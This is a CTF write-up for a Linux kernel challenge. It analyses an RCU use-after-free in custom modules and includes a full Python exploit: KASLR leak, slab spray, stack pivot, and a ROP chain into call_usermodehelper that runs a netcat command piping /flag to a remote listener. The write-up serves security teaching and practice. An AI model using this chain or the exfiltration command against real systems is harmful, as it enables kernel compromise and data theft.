NEPHILIM (DefCamp CTF 2026) — Stale RCU Reference in a Kernel Module

Three custom kernel modules behind a UDP protocol. nkrcu_snap_create() publishes a descriptor pointer into a global array after leaving its RCU read-side critical section, and nkrcu_remove() frees that descriptor without clearing the array. A monitor workqueue calls snap->desc->ops->validate(snap->desc) every five seconds — an indirect call through a freed kmalloc-128 object.

Challenge setup

You get bzImage, an unstripped vmlinux, an initramfs and three kernel modules — nkrcu.ko, nkmon.ko, nknet.ko. Linux 6.1.184, x86-64, one vCPU. The flag is at /flag, mode 0400, owned by root.

The serial console drops to a nobody shell, but a player never reaches it — only TCP port 31337 is exposed.

The guest service is UDP, but the deployment platform does not open UDP NodePorts, so a small TCP front end bridges the two — proxy.py ships with the handout and reads the protocol's own plen to reframe the stream. Framing fields are network order, payload fields are native little-endian:

  • Request: u32 magic | u8 ver | u8 cmd | u16 seq | u16 plen | u16 cksum | data[plen]
  • Response: same header, cmd and seq echoed
| Code | Name        | Input        | Returns                      |
|------|-------------|--------------|------------------------------|
| 0x01 | CMD_CREATE  | u64 nonce    | u64 desc_id, u64 desc_kaddr  |
| 0x02 | CMD_REMOVE  | u64 desc_id  | int32                        |
| 0x03 | CMD_SNAP    | u64 desc_id  | u64 snap_id                  |
| 0x04 | CMD_INFO    | u64 desc_id  | 40 raw bytes of the object   |
| 0x05 | CMD_SPRAY_A | 128 bytes    | u64 kaddr                    |
| 0x06 | CMD_SPRAY_F | u64 kaddr    | int32                        |
| 0x07 | CMD_SYNC    | -            | int32                        |
CMD_CREATE returns the descriptor's kernel heap address and CMD_SPRAY_A returns the address of every allocation it makes. That looks generous until you notice there is no attacker process inside the VM — no mmap, no setxattr spray, no msg_msg, no pipe_buffer. Without those two return values the bug is effectively unexploitable.

Step 1 — reversing the three modules

704 lines of C across the three, each doing one job.

nkrcu.ko

The object store — descriptor allocator, an RCU-protected list, a snapshot array, a spray allocator, a synchronize_rcu() wrapper, and a read-only /proc/nephilim/layout that no remote command can reach.

struct nk_desc {
    uint64_t              id;         /* +0   also the qword the pivot loads into rsp */
    uint32_t              state;      /* +8                                           */
    uint32_t              flags;      /* +12                                          */
    struct nk_desc_ops   *ops;        /* +16  the vtable nkmon follows                */
    uint64_t              kernel_fn;  /* +24  &_printk                                */
    uint64_t              pivot_fn;   /* +32  &nkrcu_pivot                            */
    struct list_head      list;       /* +40                                          */
    struct rcu_head       rcu_head;   /* +56                                          */
    uint8_t               data[56];   /* +72                                          */
};                                    /* = 128 bytes, kmalloc-128                     */

Two fields exist to be leaked. The second points at a gadget the module exports on purpose:

/* stack-pivot gadget; intentionally exported; address leaks at runtime via CMD_INFO */
__attribute__((naked)) void nkrcu_pivot(void)
{
    asm volatile(
        "mov (%rdi), %rsp\n\t"
        "ret\n\t"
    );
}

Four bytes — 48 8b 27, c3. The byte sequence appears nowhere in this vmlinux, and neither do the other mov (%rXX),%rsp ; ret forms. pop %rsp ; ret and leave ; ret are both plentiful, but neither takes its new rsp from anywhere the attacker reaches — pop takes it off the kworker stack, leave out of rbp, which holds a module address at this call site. What is controlled there is rdi, and the branch target.

nkmon.ko

A timer re-arms every 5 * HZ and schedules work. The work function makes one indirect call per snapshot:

static void nk_mon_cb(struct nk_snap *snap, void *priv)
{
    if (!snap->desc || !snap->desc->ops || !snap->desc->ops->validate)
        return;
    snap->desc->ops->validate(snap->desc);
}

Compiled, it is a tail jump with the descriptor already in rdi:

0:  48 8b 7f 08   mov 0x8(%rdi),%rdi          ; snap->desc
4:  48 85 ff      test %rdi,%rdi
7:  74 16         je 1f
9:  48 8b 47 10   mov 0x10(%rdi),%rax         ; desc->ops
d:  48 85 c0      test %rax,%rax
10: 74 0d         je 1f
12: 48 8b 00      mov (%rax),%rax             ; ops->validate
15: 48 85 c0      test %rax,%rax
18: 74 05         je 1f
1a: e9 ...        jmp __x86_indirect_thunk_rax

Two of those checks are everything the fake object has to satisfy — a non-NULL ops and a non-NULL ops->validate. The third is fixed by construction.

One comment carries more weight than it looks:

/* workqueue context; validate callback may sleep */

Process context is what makes call_usermodehelper(..., UMH_WAIT_PROC) legal at the end of the chain — from a timer softirq it would not be.

nknet.ko

A kthread blocked in kernel_recvmsg() on a kernel UDP socket. One thread, so commands are serialized and there is no command-level race. Input validation is three checks:

if (len < (int)sizeof(*h))
    return;
if (ntohl(h->magic) != NK_MAGIC || h->ver != 0x01)
    return;

plen = ntohs(h->plen);
seq  = ntohs(h->seq);

if ((int)(sizeof(*h) + plen) > len)
    return;

The checksum is computed on responses but never verified on input — so nobody notices it is decorative. The exploit below fills it in anyway, which costs nothing and keeps a capture readable.

Step 2 — the stale RCU reference

An RCU read-side critical section makes one promise — an object reachable when you entered will not be freed before you leave. The guarantee covers the pointer's use, not its storage.

nkrcu_snap_create() uses the section correctly to find the descriptor, then carries the pointer out of it:

rcu_read_lock();
desc = nk_find_desc_rcu(desc_id);
if (!desc) {
    rcu_read_unlock();
    return -ENOENT;
}
rcu_read_unlock();          /* critical section ends here */

spin_lock_bh(&nk_snap_lock);
...
nk_snaps[slot].snap_id   = atomic64_fetch_add(1, &nk_snap_counter);
nk_snaps[slot].desc      = desc;     /* pointer published after unlock */

The instant rcu_read_unlock() runs, the thread stops being a reader and RCU stops protecting anything. What lands in nk_snaps[] is a bare address — no refcount_inc, no kref, no SLAB_TYPESAFE_BY_RCU.

Removal then does textbook two-phase teardown:

list_del_rcu(&desc->list);
spin_unlock(&nk_list_lock);

call_rcu(&desc->rcu_head, nk_desc_free_rcu);   /* kfree after the grace period */

Unlink so no new reader finds it, defer the free so no existing reader trips over it. That protocol is sound only when the list is the sole path to the object — and it is not. nk_snaps[] is a second reference container, and removal never walks it.

After one grace period the object returns to the kmalloc-128 freelist while nk_snaps[i].desc still holds its address. There is no command to delete a snapshot, and the array is zeroed only in module init. The dangling pointer is permanent, and nkmon dereferences it every five seconds.

Which function holds the defect is genuinely ambiguous. Read as a snap_create bug, the snapshot cache leaks an RCU pointer past the critical section. Read as a remove bug, the object has two owners and teardown handles one. Both readings imply different patches — a refcount, or an nk_snaps[] sweep.

The sweep alone is not enough. nkrcu_snap_iter() copies the array under the spinlock and runs the callback outside it, by design, so the monitor can sleep:

spin_lock_bh(&nk_snap_lock);
for (i = 0; i < NK_MAX_SNAPS; i++) {
    if (nk_snaps[i].snap_id)
        local[n++] = nk_snaps[i];
}
spin_unlock_bh(&nk_snap_lock);

for (i = 0; i < n; i++)
    cb(&local[i], priv);

A removal landing between the copy and the callback still yields a use-after-free on the stack-local copy. The sound fix takes a reference during the copy.

Step 3 — KASLR leak and reclaim

CMD_INFO returns the first 40 bytes of the object verbatim, which carries both leaks:

resp = send_cmd(CMD_INFO, p64(desc_id))
kernel_fn = u64(resp, 24)   # &_printk
pivot_fn  = u64(resp, 32)   # &nkrcu_pivot

kernel_base = kernel_fn - PRINTK_OFF

One read yields two independently randomized bases and three useful pointers — kernel _text, and the module region through both pivot_fn and ops. Module base is randomized separately from _text, so pivot_fn has to be leaked, not computed.

CMD_SPRAY_A allocates 128 bytes with GFP_ATOMIC and copies 128 attacker bytes in — the same kmalloc-128 cache as struct nk_desc. Neither allocation carries __GFP_ACCOUNT, and CONFIG_MEMCG is off in this build, so there is no kmalloc-cg-128 for either one to drift into.

The ROP payload is self-referential: argv points at rop_kaddr + 80, and the argv[] entries live in the same buffer. But CMD_SPRAY_A copies the content before it reveals the address. The way out is a probe — allocate zeroes to learn an address, free it, re-allocate with content written for that address:

for attempt in range(1, 32):
    resp = send_cmd(CMD_SPRAY_A, b"\x00" * 128)
    candidate = u64(resp)
    send_cmd(CMD_SPRAY_F, p64(candidate))

    resp = send_cmd(CMD_SPRAY_A, build_rop_data(str_kaddr, candidate, kernel_base))
    rop_kaddr = u64(resp)

    if rop_kaddr == candidate:
        return str_kaddr, rop_kaddr

    send_cmd(CMD_SPRAY_F, p64(rop_kaddr))   # miss: free and go again

Under SLUB's per-CPU LIFO freelist the object comes straight back — provided it belonged to the slab the CPU is currently allocating from. If it did not, kfree() puts it on that slab's own freelist and the next kmalloc(128) hands back a different address.

That is what the loop absorbs. Real competition is negligible here: the guest is an idle busybox initramfs on one vCPU, and the skb path itself stays out of kmalloc-128 — struct sk_buff comes from the unmergeable skbuff_head_cache, and any __alloc_skb head carries a 320-byte skb_shared_info, so no head lands below kmalloc-512.

The comments in the script below blame Docker and netfilter for the same thing. They are wrong twice over — the guest has netfilter compiled out, and host-side activity cannot reach the guest's freelists at all. The retry loops they justify are still worth keeping, because slab placement is what they actually absorb, and in practice both sprays land on the first attempt.

Triggering the free is three commands in a fixed order:

send_cmd(CMD_SNAP,   p64(desc_id))   # nk_snaps[0].desc = desc_kaddr
send_cmd(CMD_REMOVE, p64(desc_id))   # list_del_rcu + call_rcu
send_cmd(CMD_SYNC)                   # synchronize_rcu()

CMD_SNAP has to come first — after removal nk_find_desc_rcu cannot find the id and the snapshot returns -ENOENT.

CMD_SYNC exists because call_rcu() is asynchronous and the network gives no way to observe the callback. Spraying early allocates the fake object before the slot is freed, and later sprays then miss it in confusing ways.

synchronize_rcu() makes the grace period observable — the 4-byte reply acknowledges that the free happened. With -smp 1 both callbacks sit on CPU 0's single list and run in FIFO order.

Step 4 — the exploit

The fake descriptor is one 128-byte write serving three roles at once:

struct.pack_into("<Q", data, 0x00, rop_kaddr)          # new rsp on pivot
struct.pack_into("<Q", data, 0x10, desc_kaddr + 0x48)  # ops* -> fake_ops
struct.pack_into("<Q", data, 0x48, GADGET_PIVOT)       # validate = nkrcu_pivot

ops points back into the object at +0x48, which is inside data[] — so the buffer is the fake descriptor, the fake vtable and the pivot operand simultaneously.

Within five seconds the monitor fires:

rdi = snap->desc = desc_kaddr
rax = [desc_kaddr + 0x10] = desc_kaddr + 0x48    ; fake ops
rax = [desc_kaddr + 0x48] = nkrcu_pivot          ; fake validate
jmp __x86_indirect_thunk_rax                     ; rdi still = desc_kaddr

nkrcu_pivot:  mov (%rdi),%rsp                    ; rsp = rop_kaddr
              ret                                ; first ROP entry

The tail jump means no argument shuffling. The pivot replaces rsp wholesale, abandoning the kworker stack.

What it lands on is a 128-byte slab object. call_usermodehelper then blocks in UMH_WAIT_PROC for the lifetime of nc, with its frames growing down past rop_kaddr into whatever neighbours it.

The argv[] array is built inside the ROP object at rop_kaddr+80, above the rsp the chain leaves behind, so descending frames cannot reach it whatever the freelist does.

The strings it points at are a separate object, and that one is placed wherever the allocator felt like. Here it came back 0x80 above the ROP object, so it sits above rsp too. The frames descend onto unrelated objects that nothing in an idle guest reads.

Had the spray gone the other way, the kworker would have smashed the argv strings before exec reached them. call_usermodehelper stores path and argv as pointers in struct subprocess_info, and the bytes are not copied until the forked helper reaches kernel_execve and runs copy_strings_kernel. Three stacks are involved by then: the pivoted kworker queues the work and parks in wait_for_completion, an events_unbound worker forks the child, and the child execs. The bytes have to stay intact until that copy. A run that needs several attempts also leaves freed kmalloc-128 objects in exactly that region.

#!/usr/bin/env python3
# NEPHILIM | DefCamp CTF 2026 | Kernel pwn | Insane
#
# Bug: nkrcu_remove() calls list_del_rcu()+call_rcu() but never clears nk_snaps[].desc.
# After the RCU grace period, snap->desc is dangling. nkmon fires every 5s and calls
# snap->desc->ops->validate(snap->desc) -- UAF trigger.
#
# Chain:
#   [1] CMD_CREATE  -> desc_id, desc_kaddr
#   [2] CMD_INFO    -> kernel_fn (+24) -> kernel_base; pivot_fn (+32) -> GADGET_PIVOT
#   [3] CMD_SPRAY_A -> str_kaddr  (path + argv strings)
#   [4] probe-free-retry loop: SPRAY_A(zeroes)->cand; SPRAY_F(cand); SPRAY_A(rop@cand)->rop_kaddr
#   [5] CMD_SNAP + CMD_REMOVE + CMD_SYNC  -> desc_kaddr freed, snap->desc dangling
#   [6] CMD_SPRAY_A(fake_desc) -> lands at desc_kaddr
#       fake_desc[+0x00] = rop_kaddr       (pivot: mov rsp,[rdi]; ret)
#       fake_desc[+0x10] = desc_kaddr+0x48 (ops*)
#       fake_desc[+0x48] = pivot_fn        (validate = nkrcu_pivot)
#   [7] nkmon workqueue fires:
#       validate(rdi=desc_kaddr) -> pivot -> ROP -> call_usermodehelper
#       /bin/sh -c "/bin/nc LHOST LPORT < /flag"
#
# Constants (nm vmlinux + ROPgadget --binary vmlinux):
#   TEXT=$(nm vmlinux | grep ' T _text$' | awk '{print $1}')
#   PRTK=$(nm vmlinux | grep ' T _printk$' | awk '{print $1}')
#   UMH=$(nm vmlinux  | grep ' T call_usermodehelper$' | awk '{print $1}')
#   python3 -c "print(hex(int('$PRTK',16)-int('$TEXT',16)))"
#   python3 -c "print(hex(int('$UMH',16)-int('$TEXT',16)))"
#   ROPgadget --binary vmlinux | grep 'pop rdi ; ret'
#   ROPgadget --binary vmlinux | grep 'pop rsi ; ret'
#   ROPgadget --binary vmlinux | grep 'pop rdx ; ret'   # xor rdx,rdx absent
#   ROPgadget --binary vmlinux | grep 'pop rcx ; ret'
#   GADGET_PIVOT: leaked at runtime from nk_desc[+32] via CMD_INFO (nkrcu_pivot export)

import sys
import struct
import socket
import time

TARGET_IP   = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
TARGET_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 31337
# LHOST must be reachable from inside the VM; use 10.0.2.2 for local QEMU SLIRP
LHOST       = sys.argv[3] if len(sys.argv) > 3 else "10.0.2.2"
LPORT       = int(sys.argv[4]) if len(sys.argv) > 4 else 4444

PRINTK_OFF              = 0x0095c929
OFF_CALL_USERMODEHELPER = 0x00090980
GADGET_PIVOT    = 0x0000   # set at runtime from CMD_INFO pivot_fn field
GADGET_POP_RDI  = 0x005d1a7b
GADGET_POP_RSI  = 0x00020f02
GADGET_POP_RDX  = 0x0000ac12  # pop rdx; ret  (xor rdx,rdx does not exist here)
GADGET_POP_RCX  = 0x0071f3c3

MAGIC       = 0x4E4B5450
CMD_CREATE  = 0x01
CMD_REMOVE  = 0x02
CMD_SNAP    = 0x03
CMD_INFO    = 0x04
CMD_SPRAY_A = 0x05
CMD_SPRAY_F = 0x06
CMD_SYNC    = 0x07

_seq = 0
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(30)
sock.connect((TARGET_IP, TARGET_PORT))


def cksum(data: bytes) -> int:
    v = 0xDEAD
    for b in data:
        v ^= b
    return v & 0xFFFF


def recv_response() -> bytes:
    hdr = b''
    while len(hdr) < 12:
        hdr += sock.recv(12 - len(hdr))
    plen = struct.unpack_from('>H', hdr, 8)[0]
    pay = b''
    while len(pay) < plen:
        pay += sock.recv(plen - len(pay))
    return hdr + pay


def send_cmd(cmd: int, payload: bytes = b"") -> bytes:
    global _seq
    _seq = (_seq + 1) & 0xFFFF
    hdr   = struct.pack(">IBBHHH", MAGIC, 0x01, cmd, _seq, len(payload), 0)
    frame = hdr + payload
    cs    = cksum(frame)
    frame = frame[:10] + struct.pack(">H", cs) + frame[12:]
    sock.sendall(frame)
    return recv_response()[12:]


def u64(b, off=0): return struct.unpack_from("<Q", b, off)[0]
def i32(b, off=0): return struct.unpack_from("<i", b, off)[0]
def p64(v):        return struct.pack("<Q", v)


def build_str_data(lhost: str, lport: int) -> bytes:
    # +0 "/bin/sh\0"  +8 "-c\0..."  +16 "/bin/nc LHOST LPORT < /flag\0"
    cmd_b = (f"/bin/nc {lhost} {lport} < /flag").encode()[:103] + b"\x00"
    data = bytearray(128)
    data[0:8]    = b"/bin/sh\x00"
    data[8:16]   = b"-c\x00\x00\x00\x00\x00\x00"
    data[16:120] = cmd_b.ljust(104, b"\x00")
    assert len(data) == 128
    return bytes(data)


def build_rop_data(str_kaddr: int, rop_kaddr: int, kernel_base: int) -> bytes:
    # ROP chain at +0; argv[] at +80
    # call_usermodehelper(str+0, rop+80, 0, UMH_WAIT_PROC=2)
    umh     = kernel_base + OFF_CALL_USERMODEHELPER
    pop_rdi = kernel_base + GADGET_POP_RDI
    pop_rsi = kernel_base + GADGET_POP_RSI
    pop_rdx = kernel_base + GADGET_POP_RDX
    pop_rcx = kernel_base + GADGET_POP_RCX

    data = bytearray(128)
    struct.pack_into("<Q", data,  0, pop_rdi)
    struct.pack_into("<Q", data,  8, str_kaddr)       # path = "/bin/sh"
    struct.pack_into("<Q", data, 16, pop_rsi)
    struct.pack_into("<Q", data, 24, rop_kaddr + 80)  # argv
    struct.pack_into("<Q", data, 32, pop_rdx)
    struct.pack_into("<Q", data, 40, 0)               # envp = NULL
    struct.pack_into("<Q", data, 48, pop_rcx)
    struct.pack_into("<Q", data, 56, 2)               # UMH_WAIT_PROC
    struct.pack_into("<Q", data, 64, umh)
    # +72: 0 -- after UMH returns, ret reads 0 -> #PF -> panic (flag already received)
    struct.pack_into("<Q", data, 80, str_kaddr)       # argv[0]
    struct.pack_into("<Q", data, 88, str_kaddr + 8)   # argv[1]
    struct.pack_into("<Q", data, 96, str_kaddr + 16)  # argv[2]
    struct.pack_into("<Q", data,104, 0)               # argv[3] = NULL
    assert len(data) == 128
    return bytes(data)


def build_fake_desc(desc_kaddr: int, rop_kaddr: int, kernel_base: int) -> bytes:
    # nk_desc: ops* at +0x10, data[] at +0x48 (embed fake_ops there)
    # nkrcu_pivot: mov rsp,[rdi]; ret -- reads [desc_kaddr+0] = rop_kaddr
    data = bytearray(128)
    struct.pack_into("<Q", data, 0x00, rop_kaddr)          # new rsp on pivot
    struct.pack_into("<Q", data, 0x10, desc_kaddr + 0x48)  # ops* -> fake_ops
    struct.pack_into("<Q", data, 0x48, GADGET_PIVOT)       # validate = nkrcu_pivot
    assert len(data) == 128
    return bytes(data)


def stage1_leak():
    global GADGET_PIVOT
    print("[1] KASLR bypass")

    resp = send_cmd(CMD_CREATE, p64(0xCAFEBABEDEADBEEF))
    desc_id    = u64(resp, 0)
    desc_kaddr = u64(resp, 8)
    print(f"    desc_id    = {desc_id:#018x}")
    print(f"    desc_kaddr = {desc_kaddr:#018x}")

    resp = send_cmd(CMD_INFO, p64(desc_id))
    kernel_fn = u64(resp, 24)  # &_printk
    pivot_fn  = u64(resp, 32)  # &nkrcu_pivot
    print(f"    kernel_fn  = {kernel_fn:#018x}  (&_printk)")
    print(f"    pivot_fn   = {pivot_fn:#018x}  (nkrcu_pivot)")

    kernel_base  = kernel_fn - PRINTK_OFF
    GADGET_PIVOT = pivot_fn
    print(f"    kernel_base = {kernel_base:#018x}")

    return desc_id, desc_kaddr, kernel_base


def stage2_spray(kernel_base: int):
    print("[2] Pre-spray strings + ROP (desc alive)")

    resp = send_cmd(CMD_SPRAY_A, build_str_data(LHOST, LPORT))
    str_kaddr = u64(resp)
    print(f"    str_kaddr  = {str_kaddr:#018x}")

    # Probe-free-retry: allocate zeroes to learn a candidate address, free it,
    # then immediately reallocate with correct ROP data (argv pointers use candidate).
    # If Docker background activity consumes the freed slot before we reclaim it,
    # the new allocation lands elsewhere -- free it and retry with the new address.
    # Direction-agnostic: works regardless of SLUB freelist order (host vs Docker).
    for attempt in range(1, 32):
        resp = send_cmd(CMD_SPRAY_A, b"\x00" * 128)
        candidate = u64(resp)
        send_cmd(CMD_SPRAY_F, p64(candidate))

        resp = send_cmd(CMD_SPRAY_A, build_rop_data(str_kaddr, candidate, kernel_base))
        rop_kaddr = u64(resp)

        if rop_kaddr == candidate:
            print(f"    rop_kaddr  = {rop_kaddr:#018x}  (attempt {attempt})")
            return str_kaddr, rop_kaddr

        send_cmd(CMD_SPRAY_F, p64(rop_kaddr))

    print("    [-] stage2 FAILED after 31 attempts")
    sys.exit(1)


def stage3_uaf(desc_id: int):
    print("[3] UAF: SNAP + REMOVE + SYNC")

    resp = send_cmd(CMD_SNAP, p64(desc_id))
    print(f"    snap_id = {u64(resp):#018x}  (snap->desc = desc_kaddr)")

    assert i32(send_cmd(CMD_REMOVE, p64(desc_id))) == 0
    print("    REMOVE ok -- call_rcu() scheduled")

    print("    SYNC: waiting for RCU grace period...")
    assert i32(send_cmd(CMD_SYNC)) == 0
    print("    done -- desc_kaddr FREED, snap->desc DANGLING")


def stage4_spray_fake(desc_kaddr: int, rop_kaddr: int, kernel_base: int):
    print("[4] Spray fake_desc into freed slot")

    # After SYNC, desc_kaddr is freed and may sit in the SLUB per-CPU freelist
    # or in a slab partial-list depending on environment (host vs Docker).
    # Strategy: spray fake_desc repeatedly WITHOUT freeing misses.
    # Keeping misses allocated drains the per-CPU freelist and forces SLUB to
    # pull from partial slabs, which is where desc_kaddr lives if background
    # activity (Docker cgroups / netfilter) already consumed the top freelist slot.
    # NK_MAX_SPRAY=64; with str+rop (2 slots) we have 62 slots for misses+landing.
    fake   = build_fake_desc(desc_kaddr, rop_kaddr, kernel_base)
    misses = []

    for attempt in range(1, 56):
        resp = send_cmd(CMD_SPRAY_A, fake)
        got  = u64(resp)
        if got == desc_kaddr:
            print(f"    [+] LANDED at {got:#018x} (attempt {attempt})")
            for addr in misses:
                send_cmd(CMD_SPRAY_F, p64(addr))
            return
        misses.append(got)

    print(f"    [-] FAILED after 55 attempts -- desc_kaddr={desc_kaddr:#018x}")
    sys.exit(1)


def stage5_wait():
    print("[5] Waiting for nkmon trigger (<=5s)")
    print()
    print("    nkmon workqueue:")
    print("      snap->desc->ops->validate(desc_kaddr)")
    print("      = nkrcu_pivot(rdi=desc_kaddr)")
    print("      mov rsp,[rdi]  ->  rsp = rop_kaddr")
    print("      call_usermodehelper('/bin/sh',['-c','/bin/nc LHOST LPORT < /flag'],NULL,2)")
    print("      UMH_WAIT_PROC blocks until nc exits")
    time.sleep(6)
    print("[+] done -- flag should be in your listener")


def main():
    print(f"NEPHILIM | {TARGET_IP}:{TARGET_PORT} -> {LHOST}:{LPORT}")
    print()
    print(f"[!] start listener: nc -lvp {LPORT}")
    input("    ENTER when ready... ")
    print()

    desc_id, desc_kaddr, kernel_base = stage1_leak()
    print()
    str_kaddr, rop_kaddr = stage2_spray(kernel_base)
    print()
    stage3_uaf(desc_id)
    print()
    stage4_spray_fake(desc_kaddr, rop_kaddr, kernel_base)
    print()
    stage5_wait()


if __name__ == "__main__":
    main()

run.sh in the handout boots the same image locally and starts proxy.py beside it. The guest takes about four seconds to bring the e1000 link up, and the first stage has no socket timeout, so connecting before that hangs rather than fails.

The last two arguments are the listener, and its address has to be one the guest can reach — 10.0.2.2 for the handout under SLIRP, the bridge address for a container, a routable one for the real instance. Get it wrong and the chain still fires: the guest blocks on a connection going nowhere, the box panics, and the script still reports success with nothing on the listener. This run was against a container:

python3 exploit.py 127.0.0.1 31337 172.17.0.1 4444

Expected output:

NEPHILIM | 127.0.0.1:31337 -> 172.17.0.1:4444

[!] start listener: nc -lvp 4444
    ENTER when ready...

[1] KASLR bypass
    desc_id    = 0x0000000000000001
    desc_kaddr = 0xffffa00a41b6f400
    kernel_fn  = 0xffffffffaeb5c929  (&_printk)
    pivot_fn   = 0xffffffffc00d4020  (nkrcu_pivot)
    kernel_base = 0xffffffffae200000

[2] Pre-spray strings + ROP (desc alive)
    str_kaddr  = 0xffffa00a41b6f380
    rop_kaddr  = 0xffffa00a41b6f300  (attempt 1)

[3] UAF: SNAP + REMOVE + SYNC
    snap_id = 0x0000000000000001  (snap->desc = desc_kaddr)
    REMOVE ok -- call_rcu() scheduled
    SYNC: waiting for RCU grace period...
    done -- desc_kaddr FREED, snap->desc DANGLING

[4] Spray fake_desc into freed slot
    [+] LANDED at 0xffffa00a41b6f400 (attempt 1)

[5] Waiting for nkmon trigger (<=5s)

    nkmon workqueue:
      snap->desc->ops->validate(desc_kaddr)
      = nkrcu_pivot(rdi=desc_kaddr)
      mov rsp,[rdi]  ->  rsp = rop_kaddr
      call_usermodehelper('/bin/sh',['-c','/bin/nc LHOST LPORT < /flag'],NULL,2)
      UMH_WAIT_PROC blocks until nc exits
[+] done -- flag should be in your listener

The exploit never sees the flag — it arrives on the listener:

Connection received on 172.17.0.2 47352
CTF{<64 hex chars>}

Then call_usermodehelper returns, the final ret loads zero from rop_kaddr+72, and the kworker faults at address zero. The guest boots with oops=panic panic=-1, so that oops takes the box down. Excerpted from an earlier boot, against an earlier kernel build than the one shipped, so the addresses differ from the run above:

[   19.591444] BUG: kernel NULL pointer dereference, address: 0000000000000000
[   19.591459] #PF: supervisor instruction fetch in kernel mode
[   19.591459] CPU: 0 PID: 40 Comm: kworker/0:2 Tainted: G           O       6.1.184 #1
[   19.591459] Workqueue: events nk_mon_work_fn [nkmon]
[   19.591459] RIP: 0010:0x0
[   19.591459] RSP: 0018:ffff9ef541f6f350 EFLAGS: 00000296
[   19.591459] RAX: 0000000000000000 RBX: ffffad17801a7dd0 RCX: 0000000000000000
[   19.591459] R13: ffffad17801a7dd0 R14: 0000000000000000 R15: ffff9ef57ec2d605
[   19.591459] Call Trace:
[   19.591459] Modules linked in: nknet(O) nkmon(O) nkrcu(O)
RSP is a direct-map heap address while RBX is the kworker stack holding local[], vmalloc'd because the build sets CONFIG_VMAP_STACK — the stack was pivoted onto the heap. The call trace is empty because the unwinder has nothing left to walk. Panicking on success is deliberate: a solved instance dies instead of lingering as a rooted box.

Reading the flag without a listener

The intended exfiltration needs the VM to reach the player, which means a routable address — a VPS or a tunnel, not a NAT'd home IP. A team without one has kernel code execution and no way out.

One team went through CMD_INFO instead. The read primitive is rigid:

int nkrcu_info(uint64_t desc_id, uint8_t *out, size_t out_len)
{
    struct nk_desc *desc;

    if (out_len < 40)
        return -EINVAL;

    rcu_read_lock();
    desc = nk_find_desc_rcu(desc_id);
    ...
    memcpy(out, desc, 40);

There is no offset parameter on that path. Not on the wire — the payload is consumed as one 8-byte id, and trailing bytes are ignored.

Not in the API either. out_len is a destination capacity used as a lower bound, hardcoded to 40 by the caller. The memcpy length is the literal 40, and the source offset is always zero.

Only the first 8 bytes are load-bearing: nk_find_desc_rcu matches on id and nothing else. state and flags are written once at creation and never read again by any of the three modules, so they can carry payload too. That leaves 32 bytes per call at best, 24 if a solver treats the whole header as off limits. The flag is 69 characters, so either way it takes three reads.

Because the read window cannot move, the paging has to happen on the write side. A solver cannot ask for bytes 24 to 47 of an object — only for bytes 0 to 39 of some object. Each page needs kernel execution that copies a different slice into the window, and the response carries no offset marker.

That also rules out the chain used above, which ends in a deliberate panic. Paging needs a chain that returns cleanly, so nkmon keeps firing every five seconds and the slot can be re-sprayed between ticks.

During the CTF this surfaced as a team reporting a wrong flag. What they had was CTF{ plus 20 hex characters — a correct prefix, truncated at the read boundary, with nothing in the reply to say so.

Two constraints fall out of the code. The read target has to be a descriptor linked into nk_list, because nk_find_desc_rcu is the only lookup any command has — spray buffers are not in that list. And writing flag ASCII over +16 destroys ops, so the read target must not be the snapshotted descriptor.